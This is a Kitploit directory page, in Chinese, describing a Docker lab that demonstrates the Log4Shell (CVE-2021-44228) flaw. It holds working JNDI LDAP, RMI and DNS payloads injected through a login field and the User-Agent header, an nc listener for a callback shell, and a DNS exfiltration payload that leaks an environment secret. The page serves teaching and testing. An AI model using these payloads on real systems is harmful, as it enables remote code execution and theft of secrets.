Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/cyberxml/log4j-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubcyberxml/log4j-poc

log4j-poc

基于 Docker 的 LDAP RCE 漏洞利用演示,针对 CVE-2021-44228 Log4Shell

查看仓库
723353年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

log4j-poc

针对CVE-2021-44228 Log4Shell的LDAP RCE漏洞利用

描述

演示用的Tomcat 8服务器(端口8080)上部署了存在漏洞的应用程序(log4shell),并且该服务器也通过用户代理攻击方式存在漏洞。

本演示中的远程利用应用程序基于 https://github.com/kozmer/log4j-shell-poc 上的代码。

本演示用的Tomcat服务器(Tomcat 8.5.3,Java 1.8.0u51)已被重新配置为使用Log4J2进行日志记录——这是一种非标准配置。

现在端口8888上提供了一个更新的Bitnami服务器。它也配置为使用Log4J2进行日志记录,并运行Tomcat 9.0.55和OpenJDK 11.0.13。

针对Tomcat 9 / Java 11服务器的RMI利用方法详见:https://www.veracode.com/blog/research/exploiting-jndi-injections-java (2019年1月3日),作者Michael Stepankin。

检测脚本会检查用户代理漏洞,来源于:https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

前提条件

本代码需要Docker和Docker Compose。

安装

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# 编辑 docker-compose.yml 以根据需要调整环境变量。
#   POC_ADDR 是 cve-poc 容器的地址
#   LISTENER_ADDR 是 'nc' 监听器的地址,例如 Docker 主机
# 监听器IP地址是您将运行 netcat 'nc' 监听器的机器的地址
# 这可以是 Docker 主机的本地IP。
docker-compose build

运行Web应用攻击演示

  1. 在第一个终端中设置Docker监听器
    1. nc -lv 10.10.10.31 9001
  2. 在第二个终端中启动Docker容器
    1. docker-compose up
  3. 导航到8080端口的Web应用
    1. 访问 http://10.10.10.31:8080/log4shell
      1. 输入用户名:admin
      2. 输入密码:password
      3. 点击“登录”按钮
      4. 查看欢迎界面
    2. 返回登录页面 http://10.10.10.31:8080/log4shell
      1. 输入用户名 ${jndi:ldap://172.16.238.11:1389/a}
      2. 点击“登录”按钮
      3. 检查您的nc监听器是否有连接

运行用户代理攻击演示

  1. 在第一个终端中设置Docker监听器
    1. nc -lv 10.10.10.31 9001
  2. 在第二个终端中启动Docker容器
    1. docker-compose up
  3. 在第三个终端中运行以下命令。第二个IP是Docker主机
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

在较新的Java 11版本上运行DNS外泄演示

  1. 在一个终端中启动Docker容器
    1. docker-compose up
  2. 在第二个终端中运行以下命令。IP是Docker主机的IP地址
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. 存在漏洞的Web服务器将尝试对给定IP进行TXT查询。参见 log4j-dns_exfil.pcap

在较新的Java 11版本上运行RMI RCE演示

我在指定ping目标的命令行参数时遇到问题。因此您需要自行编译。

编译

  1. 在一个终端中启动Docker容器
    1. docker-compose up
  2. 在另一个终端中,登录到cve-poc
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. 终止正在运行的RMIServerPOC实例
  4. 切换到rmi-poc目录
    1. cd /home/user/rmi-poc
  5. 编辑RMIServerPOC.java,将10.10.10.31改为您的ping目标
  6. 重新编译
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. 运行服务器
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

运行RMI RCE演示

  1. 在一个终端中启动Docker容器
    1. docker-compose up
  2. 在第二个终端中运行以下命令。IP是Docker主机的IP地址
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. 存在漏洞的Web服务器将从RMI服务器下载一个序列化的恶意类,该类是Tomcat环境中已有的一个类。
  4. 这将向编译部分中定义的IP地址发送ping请求。

检测UA漏洞

  1. cd scripts
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. 您需要手动终止该进程,目前还不清楚为什么它会挂起。
下载工具